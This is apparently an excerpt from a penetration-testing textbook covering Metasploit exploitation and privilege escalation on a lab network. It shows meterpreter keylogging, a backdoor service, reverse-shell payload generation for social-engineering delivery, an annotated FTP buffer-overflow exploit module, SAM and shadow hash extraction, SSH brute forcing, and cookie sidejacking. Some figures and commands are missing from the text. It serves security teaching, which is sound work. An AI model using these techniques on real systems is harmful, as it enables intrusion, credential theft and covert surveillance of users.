3172 explorer.exe x86 0 CUSTDESK\salesdept
C:\WINDOWS\Explorer.EXE
[ 257 ]
Target Exploitation
At this stage, we will migrate the meterpreter shell to the explorer.exe process
(3172) in order to start logging the current user activity on a system.
meterpreter > migrate 3172
[*] Migrating to 3172...
[*] Migration completed successfully.
meterpreter > getuid
Server username: CUSTDESK\salesdept
meterpreter > keyscan_start
Starting the keystroke sniffer...
We have now started our keylogger and should wait some time to get chunks of
recorded data.
meterpreter > keyscan_dump
Dumping captured keystrokes...
<Return> www.yahoo.com <Return> <Back> www.bbc.co.uk <Return>
meterpreter > keyscan_stop
Stopping the keystroke sniffer...
As you can see, we have dumped the target's web surfing activity. In similar
terms, we could also capture the credentials of all users logging into the system by
migrating the winlogon.exe process (648).
You have exploited and gained access to the target system but now want to keep
this access permanent, even if the exploited service or application will be patched
at a later stage. This kind of activity is typically known as "backdoor service". Please
do note that the backdoor service provided by meterpreter shell does not require
authentication before accessing a particular network port on the target system.
This may allow some uninvited guests to your target and pose significant risk. As
a part of following the rules of engagement for penetration testing, such activity is
generally not allowed. So, we strongly suggest you to keep the backdoor service
away from an official pentest environment.
msf exploit(ms08_067_netapi) > exploit
[*] Started reverse handler on 192.168.0.3:4444
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (749056 bytes) to 192.168.0.7
[*] Meterpreter session 1 opened (192.168.0.3:4444 ->
[ 258 ]
Chapter 9
So, we have finally started the backdoor service on our target. We will close the
current meterpreter session and use multi/handler with a payload windows/
metsvc_bind_tcp to interact with our backdoor service whenever we want.
[ 259 ]
Target Exploitation
Let us use another useful meterpreter script getgui to enable remote desktop access
for our target. The following exercise will create a new user account on the target and
enable remote desktop service if it was disabled previously.
meterpreter > run getgui -u btuser -p btpass
[*] Windows Remote Desktop Configuration Meterpreter Script by
Darkoperator
[*] Carlos Perez [email protected]
[*] Language set by user to: 'en_EN'
[*] Setting user account for logon
[*] Adding User: btuser with Password: btpass
[*] Adding User: btuser to local group 'Remote Desktop Users'
[*] Adding User: btuser to local group 'Administrators'
[*] You can now login with the created user
[*] For cleanup use command: run multi_console_command -rc /root/.
msf3/logs/scripts/getgui/clean_up__20101116.3447.rc
Now we can log in to our target system using the rdesktop program by entering the
following command on another terminal:
# rdesktop 192.168.0.7:3389
Note that if you already hold a cracked password for any existing user on the target
machine, then you can simply execute the run getgui -e command to enable a
remote desktop service instead of adding a new user. Additionally, do not forget to
cleanup your tracks on the system by executing the getgui/clean_up script cited at
the end of an preceding output.
[ 260 ]
Chapter 9
Scenario #4
In this lesson we will extend the scenario #1 by taking an output from the NMap
scanner and passing it as an input to the automated exploitation function (db_
autopwn) provided under Metasploit Framework. It will apply all the possible
exploits against the target from an existing vault, selected on the basis of open ports.
msf > db_services
Services
========
created_at info
name port proto state updated_at Host
Workspace
---------- ----
---- ---- ----- ----- ---------- ---
- ---------
Thu Nov 11 22:35:03 UTC 2010 Microsoft ftpd
ftp 21 tcp open Thu Nov 11 22:35:03 UTC 2010
192.168.0.7 default
Thu Nov 11 22:35:03 UTC 2010 Microsoft ESMTP 6.0.2600.2180
smtp 25 tcp open Thu Nov 11 22:35:03 UTC 2010
192.168.0.7 default
Thu Nov 11 22:35:03 UTC 2010 Microsoft IIS webserver 5.1
http 80 tcp open Wed Nov 17 02:20:27 UTC 2010
192.168.0.7 default
Thu Nov 11 22:35:03 UTC 2010 Microsoft Windows RPC
msrpc 135 tcp open Thu Nov 11 22:35:03 UTC 2010
192.168.0.7 default
Thu Nov 11 22:35:03 UTC 2010
netbios-ssn 139 tcp open Thu Nov 11 22:35:03 UTC 2010
192.168.0.7 default
...
[ 261 ]
Target Exploitation
Let us learn some options provided by the db_autopwn command and then select the
appropriate flags to be used for automated exploitation.
msf > db_autopwn -h
...
We choose to select the exploits based on open ports (p), display all the matching
exploit modules (t), and launch those exploits (e). By default, db_autopwn uses the
reverse meterpreter shell to establish a connection on successful exploitation.
msf > db_autopwn -p -t -e
[*] Analysis completed in 25 seconds (0 vulns / 0 refs)
[*]
[*] ==========================================================
[*] Matching Exploit Modules
[*] ==========================================================
[*] 192.168.0.7:445 exploit/multi/samba/nttrans (port match)
[*] 192.168.0.7:443 exploit/windows/http/ipswitch_wug_maincfgret
(port match)
[*] 192.168.0.7:21 exploit/windows/ftp/sasser_ftpd_port (port
match)
...
[*] ==========================================================
[*] (1/281 [0 sessions]): Launching exploit/multi/samba/nttrans
against 192.168.0.7:445...
[*] (2/281 [0 sessions]): Launching exploit/windows/http/ipswitch_wug_
maincfgret against 192.168.0.7:443...
[*] (3/281 [0 sessions]): Launching exploit/windows/ftp/sasser_ftpd_
port against 192.168.0.7:21...
...
[*] (30/281 [0 sessions]): Launching exploit/windows/http/trackercam_
phparg_overflow against 192.168.0.7:80...
[*] (31/281 [0 sessions]): Launching exploit/windows/smb/ms04_031_
netdde against 192.168.0.7:139...
[*] (32/281 [0 sessions]): Launching exploit/windows/smb/ms06_066_
nwwks against 192.168.0.7:139...
[*] (33/281 [0 sessions]): Launching exploit/windows/smb/ms08_067_
netapi against 192.168.0.7:139...
...
[*] (281/281 [0 sessions]): Waiting on 10 launched modules to finish
execution...
[*] (281/281 [1 sessions]): Waiting on 10 launched modules to finish
execution...
[*] Meterpreter session 1 opened (192.168.0.3:49911 ->
192.168.0.7:39875) at Wed Nov 17 02:44:50 +0000 2010
...
[ 262 ]
Chapter 9
As you can see, we have successfully exploited our host and got an open session
with the meterpreter shell. Let us interact with this session and get a remote
command prompt.
msf > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > shell
Process 3776 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>
Scenario #5
Until now we have focused on various options available to remotely exploit the target
using the Metasploit Framework. What about client-side exploitation? The answer
lies in the following exercises which will illustrate the role of Metasploit in client-side
exploitation process. These exercises will not only demonstrate various client-side
attack methods but also prove their strength from a penetration tester's view.
[ 263 ]
Target Exploitation
This will display the usage instructions and all available framework payloads.
It follows a similar command parameter convention to that of "MSFCLI". Let us
generate our custom binary with reverse shell payload.
# ./msfpayload windows/shell_reverse_tcp LHOST=192.168.0.3 LPORT=33333 O
...
# ./msfpayload windows/shell_reverse_tcp LHOST=192.168.0.3 LPORT=33333 X
> /tmp/poker.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/shell_reverse_tcp
Length: 314
Options: LHOST=192.168.0.3,LPORT=33333
So we have finally generated our backdoor executable file. Before sending it over to
your victim or target, you must launch a multi/handler stub from "MSFConsole"
to handle the payload execution outside the framework. We will configure the same
options as with msfpayload.
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/shell_reverse_tcp
PAYLOAD => windows/shell_reverse_tcp
msf exploit(handler) > show options
...
msf exploit(handler) > set LHOST 192.168.0.3
LHOST => 192.168.0.3
msf exploit(handler) > set LPORT 33333
LPORT => 33333
msf exploit(handler) > exploit
[*] Started reverse handler on 192.168.0.3:33333
[*] Starting the payload handler...
[ 264 ]
Chapter 9
At this point, we have sent our windows executable file to the victim via a social
engineering trick and wait for its execution.
[*] Command shell session 2 opened (192.168.0.3:33333 ->
192.168.0.7:1053) at Wed Nov 17 04:39:23 +0000 2010
You could see, we have got a reverse shell access to the victims machine and have
practically accomplished our mission.
[ 265 ]
Target Exploitation
SRVPORT => 80
msf auxiliary(browser_autopwn) > set SRVHOST 192.168.0.3
SRVHOST => 192.168.0.3
msf auxiliary(browser_autopwn) > set URIPATH /
URIPATH => /
msf auxiliary(browser_autopwn) > run
[*] Auxiliary module execution completed
[*] Starting exploit modules on host 192.168.0.3...
[*] ---
[*] Starting exploit multi/browser/firefox_escape_retval with payload
generic/shell_reverse_tcp
[*] Using URL: http://192.168.0.3:80/Eem9cKUlFvW
[*] Server started.
[*] Starting exploit multi/browser/java_calendar_deserialize with
payload java/meterpreter/reverse_tcp
[*] Using URL: http://192.168.0.3:80/s98jmOiOtmv4
[*] Server started.
[*] Starting exploit multi/browser/java_trusted_chain with payload
java/meterpreter/reverse_tcp
[*] Using URL: http://192.168.0.3:80/6BkY9uM23b
[*] Server started.
[*] Starting exploit multi/browser/mozilla_compareto with payload
generic/shell_reverse_tcp
[*] Using URL: http://192.168.0.3:80/UZOI7Y
[*] Server started.
[*] Starting exploit multi/browser/mozilla_navigatorjava with payload
generic/shell_reverse_tcp
[*] Using URL: http://192.168.0.3:80/jRwlT67KIK6gJE
...
[*] Starting exploit windows/browser/ie_createobject with payload
windows/meterpreter/reverse_tcp
[*] Using URL: http://192.168.0.3:80/Xb9Cop7VadNu
[*] Server started.
[*] Starting exploit windows/browser/ms03_020_ie_objecttype with
payload windows/meterpreter/reverse_tcp
[*] Using URL: http://192.168.0.3:80/rkd0X4Xb
[*] Server started.
...
[*] Starting handler for windows/meterpreter/reverse_tcp on port 3333
[*] Starting handler for generic/shell_reverse_tcp on port 6666
[*] Started reverse handler on 192.168.0.3:3333
[*] Starting the payload handler...
[*] Starting handler for java/meterpreter/reverse_tcp on port 7777
[*] Started reverse handler on 192.168.0.3:6666
[ 266 ]
Chapter 9
[ 267 ]
Target Exploitation
-- ---- -----------
----------
1 meterpreter x86/win32 CUSTDESK\Momin Desktop @ CUSTDESK (ADMIN)
192.168.0.3:3333 -> 192.168.0.7:1072
msf auxiliary(browser_autopwn) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: CUSTDESK\Momin Desktop
As you can see we have successfully penetrated our target through the client-side
exploitation method. Please note that these web-browser exploits may only work
with specific vulnerable versions of different browsers (Internet Explorer, Firefox,
Opera, and so on).
##
# $Id: easyftp_mkd_fixret.rb 9935 2010-07-27 02:25:15Z jduck $
##
Basic header representing filename, revision number, date and time values of an
exploit.
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the
Metasploit
[ 268 ]
Chapter 9
Exploit mixin/class which provides various options and methods for remote TCP
connection. This includes RHOST, RPORT, Connect (), Disconnect (), SSL (), and so on.
Rank = GreatRanking
The rank-level assigned to the exploit on the basis of its frequent demand and usage.
include Msf::Exploit::Remote::Ftp
[ 269 ]
Target Exploitation
Provides generic information about the exploit and points to known references.
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
This instructs the payload to clean-up itself once the execution process is completed.
},
'Privileged' => false,
'Payload' =>
{
'Space' => 512,
'BadChars' => "\x00\x0a\x0d\x2f\x5c",
'DisableNops' => true
},
It defines 512-bytes of space available for the shellcode, lists bad characters which
should terminate our payload delivery, and disables NOP padding.
'Platform' => 'win',
'Targets' =>
[
[ 'Windows Universal - v1.7.0.2', { 'Ret' =>
0x004041ec } ], # call ebp - from ftpbasicsvr.exe
[ 'Windows Universal - v1.7.0.3', { 'Ret' =>
0x004041ec } ], # call ebp - from ftpbasicsvr.exe
[ 'Windows Universal - v1.7.0.4', { 'Ret' =>
0x004041dc } ], # call ebp - from ftpbasicsvr.exe
[ 'Windows Universal - v1.7.0.5', { 'Ret' =>
0x004041a1 } ], # call ebp - from ftpbasicsvr.exe
[ 'Windows Universal - v1.7.0.6', { 'Ret' =>
0x004041a1 } ], # call ebp - from ftpbasicsvr.exe
[ 'Windows Universal - v1.7.0.7', { 'Ret' =>
0x004041a1 } ], # call ebp - from ftpbasicsvr.exe
[ 270 ]
Chapter 9
Provides instructions on what platform is being targeted and defines the vulnerable
targets (0 to 9) listing different versions of Easy FTP server (1.7.0.2-1.7.0.11), each
representing a unique return address based on application binary (ftpbasicsvr.
exe). Furthermore, the exploit disclosure date was added and the default target has
been set to 0 (v1.7.0.2).
end
def check
connect
disconnect
if (banner =~ /BigFoolCat/)
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
It defines a function which generates NOP sleds to aid with IDS/IPS/AV evasion.
def exploit
connect_login
# NOTE:
# This exploit jumps to ebp, which happens to point at a partial
version of
# the 'buf' string in memory. The fixRet below fixes up the code
stored on the
# stack and then jumps there to execute the payload. The value
in esp is used
# with an offset for the fixup.
fixRet_asm = %q{
mov edi,esp
[ 271 ]
Target Exploitation
The above procedure fixes a return address from where the payload can be executed.
Technically, it resolves the issue of stack addressing.
print_status("Prepending fixRet...")
buf << fixRet
buf << make_nops(0x20 - buf.length)
Initially the exploit buffer holds the encoded return address and the randomized
NOP instructions.
print_status("Adding the payload...")
buf << payload.encoded
Fixes the stack data, and makes a short jump over the return address holding our
shellcode buffer.
print_status("Sending exploit buffer...")
send_cmd( ['MKD', buf] , false)
At the end, we send our finalized buffer to the specific target using the vulnerable
MKD FTP post-authentication command. As the MKD command in Easy-FTP Server is
vulnerable to stack-based buffer overflow, the "buf" will overflow the target stack
and exploit the target system by executing our payload.
handler
disconnect
end
end
[ 272 ]
Chapter 9
Summary
In this chapter, we pointed out several key areas necessary for the process of target
exploitation. At the beginning we provide an overview of vulnerability research that
highlights the requirement for the penetration tester to hold necessary knowledge
and skills which in turn become effective for vulnerability assessment. Afterwards,
we presented a list of online repositories from where you could reach a number
of publicly disclosed vulnerabilities and exploit codes. In the final section, we
demonstrated the practical use of an advanced exploitation toolkit called "Metasploit
Framework". The exercises provided are purely designed to explore and understand
the target acquisition process through tactical exploitation methods. Additionally,
we have also interpreted the insights of exploit development by analyzing each
step of the sample exploit code from a framework to help you understand the basic
skeleton and construction strategy. In the next chapter, we will discuss the process of
privilege escalation using various tools and techniques, and how it is beneficial once
the target is acquired.
[ 273 ]
Privilege Escalation
In the previous chapter, we exploited a target using the vulnerabilities found during
the vulnerabilities mapping process. The target of this exploitation is to get the
privilege accounts, such as administrator level in the Windows system or root level
accounts in the Unix system.
Unfortunately, not all of the exploitation will lead to the privilege accounts;
sometimes you can only have unprivileged accounts after the exploitation is finished.
This is where the privilege escalation process takes place. In this process you try to
escalate the limited privilege you have by:
The goal of this process is getting privilege account in the target environment
network and system. We will then use this account to maintain our access to the
target network and system. You might also be able to elevate permissions by
exploiting a local vulnerability, such as by using Meterpreter as explained in the
previous chapter.
Privilege Escalation
• Something you know: This is usually called the first factor of authentication.
Password belongs to this group. This factor should be known only to the
appropriate person, unfortunately because this item is very easy to be leaked
or captured; it is not advisable to use only this method to authenticate to the
sensitive system.
• Something you have: This is usually called the second factor of
authentication. Several examples of this factor are security tokens, cards, and
so on. After you prove to the system that you have the authentication factor,
you will be allowed to login. This method is prone to the cloning process.
• Something you are: This is usually called the third factor of authentication.
This method should be the most secure compared to the previous factors, but
there are already several published attacks against this factor. Examples of
this factor are biometric and retina.
To have more security, people usually use more than one factor together. The most
common combination is the first factor of authentication and the second factor of
authentication. Since this combination uses two methods of authentication, it is
usually called a two-factor authentication.
• Offline attack: In this method, the attacker gets the password file from the
target machine and transfers it to his machine. Then he uses the password
cracking tool to crack the password. The advantage of this method is that
the attacker doesn't need to worry about a password blocking mechanism
available in the target machine, because he uses his own machine to crack the
password.
• Online attack: In this method, the attacker guesses the password for a
username. This may trigger a system to block the attacker after several failed
password guesses.
[ 276 ]
Chapter 10
Rainbowcrack
Rainbowcrack is a tool to crack hash by using rainbow tables. It works by
implementing the time-memory trade-off technique developed by Philippe Oechslin.
This method is different from the brute force attack. In the brute force attack, the
attacker computes the hash from the supplied plaintext one-by-one. The hash
result is then compared to the target hash. If the hash is a match, then the plaintext
supplied is correct, otherwise the hash does not match.
The performance of the brute force technique is much slower compared to the time-
memory trade-off technique, because the attacker needs to compute the hash and do
the hash matching. While in the time-memory trade-off technique the hash is already
precomputed, the attacker only needs to do the hash matching process, and it is a
faster operation.
BackTrack includes three Rainbowcrack tools that must be run in sequence to make
things work:
[ 277 ]
Privilege Escalation
This will display a simple usage instruction and example on your screen. In our
exercise, we are going to create two rainbow tables with the following characteristics:
It takes around 3 minutes to generate those two rainbow tables on my system. The
result will be saved in file md5_loweralpha#5-5_1_2000x80000_testing.rt.
Please be aware that if you generate your own rainbow tables, it may take a very
long time and require a lot of disk space. You can use the winrtgen (http://www.
oxid.it/downloads/winrtgen.zip) program to estimate the required time to
generate the rainbow tables.
[ 278 ]
Chapter 10
This will display a simple usage instruction and example on your screen. In our
exercise, we are going to sort the first rainbow table file:
# ./rtsort md5_loweralpha#5-5_0_2000x80000_testing.rt
[ 279 ]
Privilege Escalation
This will display a simple usage instruction and example on your screen. In our
exercise, we are going to crack an MD5 hash of abcde. The MD5 hash value is
ab56b4d92b40713acc5af89985d4b786:
# ./rcrack *.rt -h ab56b4d92b40713acc5af89985d4b786
Based on the above result, rcrack can find out the plaintext of the given hash value.
The plaintext for the mentioned hash value is "abcde".
Samdump2
To extract password hash from the Windows 2K/NT/XP/Vista SAM database registry
file you can use Samdump2. With Samdump2 you don't need to give the System Key
(SysKey) first to get the password hash. SysKey is a key used to encrypt the hashes in
the SAM file. It was introduced and enabled since Windows NT Service Pack 3.
[ 280 ]
Chapter 10
The output is saved to the test-sam file. The following are the test-sam file contents:
Administrator:500:e52cac67419a9a22c295285c92cd06b4:b2641aea8eb4c00ede8
9cd2b7c78f6fb:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0
c089c0:::
HelpAssistant:1000:383b9c42d9d1900952ec0055e5b8eb7b:0b742054bda1d88480
9e12b10982360b:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:a1d6e496780585e
33a9ddd414755019a:::
tedi:1003:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0
c089c0:::
You can then supply that test-sam file to the password cracker, such as john or
ophcrack.
[ 281 ]
Privilege Escalation
John
John the Ripper (John) is a tool that can be used to crack password hash. Currently,
it can crack more than 40 password hash types, such as DES, MD5, LM, NT, crypt,
NETLM and NETNTLM.
• Wordlist mode. In this mode you only need to supply the wordlist file and
the password file to be cracked. A wordlist file is a text file with one word
on each line. You can define a rule to modify the words contained in the
wordlist. In its default configuration, John uses the password.lst file as the
wordlist. It contains 3169 password candidates. If you want to use another
wordlist, just give the option –-wordlist=<wordlist_name>. I recommend
you obtain a larger wordlist than the default one. You can create your own
wordlist or you can obtain from other people. An example of a wordlist is the
wordlist from the Openwall Project which can be downloaded from http://
download.openwall.net/pub/wordlists/.
• Single crack mode. This is the mode suggested by the John's author to be
tried first. In this mode, John will use the login names, "Fullname" field, and
user home directory as the password candidates. These password candidates
are then used to crack the password of the account it was taken from, or to
crack the password hash with the same salt. As a result of this, it is much
faster compared to the wordlist mode.
• Incremental mode. In this mode, John will try all of the possible character
combinations as the password. Although it is the most powerful cracking
method, if you don't set the termination condition, it will never finish.
Examples of the termination conditions are setting a short password limit
and using a small character set. To use this mode, you need to assign the
incremental mode in the John configuration file. The predefined modes are
"All", "Allnum", "Alpha", "Digits", and "Lanman" or you can define your own
mode.
[ 282 ]
Chapter 10
• External mode. With this mode you can use the external cracking mode to be
used by John. You need to create a configuration file section called [List.
External:MODE] where MODE is the name you assign. This section should
contain functions programmed in a subset of C programming language.
Later on, John will compile and use this mode. You can read more about this
mode at http://www.openwall.com/john/doc/EXTERNAL.shtml.
If you don't give the cracking mode as an argument to John in the command-line, it
will use the default order. First, it will use the "single crack" mode, then the wordlist
mode, and the incremental mode will be used last.
Before you can use John, you need to first get the password file. In the Unix world,
most of the systems right now use the shadow file. You need to use the unshadow
command provided with John to get the password file. Please remember that this
action should be done as "root" and you need to make that file available to the user
who will run John. Here is the command to get the password file from the shadow
file:
# cd /pentest/passwords/jtr
# ./unshadow /etc/passwd /etc/shadow > pass
The passwords cracked are stored in the john.pot file. To see these passwords you
can give the following command:
# ./john --show pass
From the above result, John has cracked two passwords successfully.
If you want to crack the Windows password, first you need to extract Windows
password hashes (LM and/or NTLM) in PWDUMP output format from Windows
SYSTEM and SAM file. You can consult http://www.openwall.com/passwords/
pwdump to see several of those utilities. One of them is samdump2 provided in BackTrack.
[ 283 ]
Privilege Escalation
To crack the Windows hash obtained from samdump2, here is the command:
# cd /pentest/passwords/jtr
# ./john ~/test-sam --wordlist=password.lst
Ophcrack
Ophcrack is a rainbow tables-based password cracker. It can be used to crack
Windows LM and NTLM password hashes. It comes as a command-line program
and also comes with Graphical User Interface. Just like the rainbowcrack, Ophcrack
is based on the time memory tradeoff method.
LAN Manager (LM) hash is the primary hash used to store user
passwords prior to Windows NT. To learn more about LM hash, you
can go to http://technet.microsoft.com/en-us/library/
dd277300.aspx.
NT LAN Manager (NTLM) hash is the successor of LM hash. It provides
authentication, integrity, and confidentiality to users. NTLM version 2
was introduced in Windows NT SP4 with enhanced security features
such as protocol hardening and the ability for a server to authenticate to
the client. Microsoft no longer recommends this hash type to be used, as
can be read from http://msdn.microsoft.com/en-us/library/
cc236715(v=PROT.10).aspx.
You can learn more about the NTLM hash from http://msdn.
microsoft.com/en-us/library/cc236701(v=PROT.10).aspx
This will display the ophcrack usage instruction and example on your screen.
[ 284 ]
Chapter 10
As an example, I use the xp_free_small tables and I have extracted and put it to the
xp_free_small directory. The Windows XP hash file is stored in the test-sam file in
the pwdump format. I am currently in the /usr/local/bin directory, whereas all of
the files before are located in my home directory. Following is the command I use to
crack the password hash:
# ophcrack -g -d ~/xp_free_small/ -t ~/xp_free_small -f ~/test-sam
You can see that we are able to obtain the passwords for the corresponding users.
Crunch
Crunch is a tool to create wordlist. This wordlist is usually used during the password
brute force cracking.
To start the crunch command-line go to Backtrack | Privilege Escalation |
Password Attacks | OfflineAttacks | Crunch or use the console to execute the
following commands:
# cd /pentest/passwords/crunch
# ./crunch
[ 285 ]
Privilege Escalation
This will display the crunch usage instruction and example on your screen. In our
exercise, we will create a wordlist of lower case letters and numerics with lengths
from 1 to 4. The result will be saved to the wordlist.lst file.
Wyd
In the previous section I described how to create a wordlist from character sets.
Although that type of wordlist is useful, sometimes you may need to create a custom
wordlist based on the information you gathered from your target environment.
Fortunately you can do that using Wyd. It works by extracting all of the printable
characters from the given files or directories and saving them to a file. Currently
Wyd is able to extract from the following file types:
• Plaintext
• HTML/PHP
• DOC/PPT
• MP3
• JPG
• ODT/ODS/ODP
You need to install the following software first before being able to extract the
supported files:
• catdoc: DOC/PPT.
• Perl OODoc module: ODT/ODS/ODP.
• mp3info: MP3.
• jhead: JPG.
[ 286 ]
Chapter 10
This will display the wyd usage instruction on your screen. In our exercise, we will
create a wordlist from two files (test.html and test.txt) located in the testfiles
directory. They are included with Wyd.
To extract their contents and save it as a wordlist we use the following commands:
# ./wyd.pl -o sample-wordlist -f testfiles/
You can ignore several errors displayed regarding some document modules, because
they are not used. The result is saved in the sample-wordlist file:
A
test
file
Mein
Passwort
ist
geheim
BruteSSH
BruteSSH is a tool to carry out brute force password attacks on the SSH server. It
will try each combination of usernames and passwords until we are able to login
successfully. It is a multi-threading program and by default it will use 12 threads to
do its job.
[ 287 ]
Privilege Escalation
This will display the brutessh usage instruction and example on your screen. In
our exercise, we will brute force a "root" account on an SSH server located in the
IP address of 10.0.2.100, and we will use passwords contained in the pass file. The
command to do this is:
# ./brutessh.py -h 10.0.2.100 -u root -d pass
From the preceding result we can see that brutessh has been able to obtain the
password for root. The password is "root01".
Hydra
Hydra is a tool to guess or crack login username and password. It supports
numerous network protocols such as HTTP, FTP, POP3, SMB, and so on. It works by
using the username and password provided and tries to login to the network service
in parallel, default is 16. If it can login, this will be recorded.
This will display the hydra usage instruction on your screen. In our exercise, we will
brute force a root account on an SSH server located in 10.0.2.100, and we will use
passwords contained in the pass file. The command to do this is:
# hydra -l root -P pass 10.0.2.100 ssh2
[ 288 ]
Chapter 10
Besides using the Hydra command-line, you can also use the Hydra GUI by going
to Backtrack | Privilege Escalation | Password Attacks | OnlineAttacks | Xhydra.
Following is the figure of Hydra GUI:
Network sniffers
Network sniffer is a software program or hardware device which is capable of
monitoring network data. It is usually used to examine network traffic by copying
the data without altering the contents. With network sniffer you can see what
information is available in your network.
[ 289 ]
Privilege Escalation
Previously, network sniffers were used by network engineers to help them solve
network problems, but it can also be used for malicious purposes. If your network
data is not encrypted and your network uses hub to connect all of the computers,
then it is very easy to capture your network traffic, such as your username and
password, your e-mail content, and so on. Fortunately, things become a little bit
complex if your network is using switch, but your data still can be captured.
There are many tools that can be used as network sniffer. Here, we will describe
a lot of them which are included in BackTrack. You may want to do network
spoofing (please refer to the Network spoofing tools section) first, because it is often a
requirement to conduct a successful sniffing operation.
Dsniff
Dsniff can be used to capture the password available in the network. Currently, it
can capture passwords from the following protocols: FTP, Telnet, SMTP, HTTP, POP,
poppass, NNTP, IMAP, SNMP, LDAP, Rlogin, RIP, OSPF, PPTP MS-CHAP, NFS,
VRRP, YP/NIS, SOCKS, X11, CVS, IRC, AIM, ICQ, Napster, PostgreSQL, Meeting
Maker, Citrix ICA, Symantec pcAnywhere, NAI Sniffer, Microsoft SMB, Oracle
SQL*Net, Sybase, and Microsoft SQL protocols.
To start the dsniff command-line, go to Backtrack | Privilege Escalation | Sniffers
| DSniff or use the console to execute the following command:
# dsniff -h
This will display the dsniff usage instruction on your screen. In our exercise, we
will capture an FTP password. The FTP client IP address is 10.0.2.15 and the FTP
server IP address is 10.0.2.100 and they are connected by a network hub. The attacker
machine has the IP address of 10.0.2.10.
Start dsniff in the attacker machine by giving the following command:
# dsniff -i eth0 -m
The option -i eth0 will make dsniff listen to network interface eth0 and option -m
will enable automatic protocol detection.
In another machine, fire up the FTP client and connect to the FTP server by entering
the username and password.
Here is the result of dsniff:
dsniff: listening on eth0
-----------------
11/08/10 18:54:53 tcp 10.0.2.15.36761 -> 10.0.2.100.21 (ftp)
USER user
PASS user01
[ 290 ]
Chapter 10
You will notice that the username and password entered to connect to the FTP server
is captured by dsniff.
Hamster
Hamster is a tool that can be used to do sidejacking. Sidejacking is a passive method
to eavesdrop cookies. The advantage of this method is that the victim will not be able
to notice if their cookies have been stolen. There are several prerequisites to using
Hamster successfully. The first is that the victim is using an open connection, such as
wireless in the cafe, so you can eavesdrop the cookies passively. The second is that
the cookies used to identify the victim session is not encrypted by the web server.
Hamster consists of two programs, hamster as the proxy server to use, and ferret
as the tool to grab session cookies. It was developed by Robert Graham and David
Maynor of Errata Security. The proxy server will rewrite the cookies on behalf of the
attacker.
This will start the Hamster proxy on your localhost port 1234. Then we configure our
web browser to use the Hamster proxy. Next, we browse to the Hamster console at
http://localhost:1234.
[ 291 ]
Privilege Escalation
You should see the message No cloned target in the Proxy entry. Then click on
adapters link on the top of the screen. After you click on this link, you will be
directed to a screen that allows you to start monitoring. It will start the ferret
program in the background that sniffs the adapter in promiscuous mode searching
for session cookies. After that ferret will send the result to hamster.
Please notice that you'll need to find out which network adapter is available by
yourself, as hamster won't list the available adapter. You can use the ifconfig
command to get the adapter list. Next, you type the adapter in the entry field and
click on Submit Query.
You will be sent back to the main screen. The status for adapters and packets will be
changed to the adapter you used and the number of packets captured.
[ 292 ]
Chapter 10
After waiting for some time, you will see the appearance of IP addresses. You can
click on the victim's IP address in order to clone its sessions. In the left window, you
will see the websites that the victim is visiting.
To see the e-mail with the user session, click on the suitable URL from the list. As an
example we choose the victim's Yahoo! Mail session.
[ 293 ]
Privilege Escalation
You can read the user's e-mail without entering the credentials and without the user
knowing it.
Tcpdump
Tcpdump is a network sniffer; it is used to dump the packet contents on a network
interface that matches the expression. If you don't give the expression, it will display
all of the packets, but if you give it an expression, it will only dump the packet that
matches the expression.
Tcpdump can also save the packet data to a file and it can also read the packet data
from a file.
To start tcpdump you need to use the console to execute the following command:
# tcpdump
This command will listen to the default network interface and capture the packet in
96 bytes size.
Let's try to sniff an ICMP packet from a machine with the IP address of 10.0.2.15 to
a machine with the IP address of 10.0.2.100. We sniff on the eth0 interface (-i eth0),
don't convert address to names (-n), don't print timestamp (-t), print packet headers
and data in hex and ASCII (-X). The command we use in the machine 10.0.2.15 is:
# tcpdump -n -t -X -i eth0 icmp and src 10.0.2.15 and dst 10.0.2.100
Tcpdump will only display the packet that matches the expression given, in this case
we only want to display the ICMP packet from the machine with the IP address of
10.0.2.15 to the machine with the IP address of 10.0.2.100.
[ 294 ]
Chapter 10
Tcpick
Tcpick is a text-based sniffer that can track, reassemble, and reorder TCP streams.
It can save the captured streams to different files or display them in different
formats (hexa, printable characters, and so on). Tcpick is useful to show you what
is happening on a network interface. To choose a specific packet, you can use the
Tcpdump expression to filter the streams.
This will display the tcpick usage instruction and example on your screen. In our
exercise, we will sniff on the network interface eth0 for FTP traffic from FTP client (IP
address: 10.0.2.15) and FTP server (IP address: 10.0.2.100). The options used display
the stream in hexadump and ASCII dump format (-yX), suppress the status of the
connection banner (-S), show source and destination IP and port, and TCP flags (-h),
and display the streams in color (-C). Here is the command:
# tcpick -i eth0 -C -yX -S -h "port 21"
[ 295 ]
Privilege Escalation
Wireshark
Wireshark is a network protocol analyzer. The main advantages of Wireshark
compared to tcpdump are that Wireshark can understand various protocols, not only
TCP/IP. The user interface allows the user to understand the information contained
in the network packets captured more easily.
This will start up the Wireshark Network Protocol Analyzer. To start live capture,
click on the network interface on which you want to capture network data in the
Interface List.
[ 296 ]
Chapter 10
If there is network traffic, the packets will be displayed on the Wireshark window.
To stop the capture, you can click on the fourth icon on the top entitled Stop running
the live capture, or you can choose from the menu Capture | Stop.
To only display particular packets, you can set the display filter.
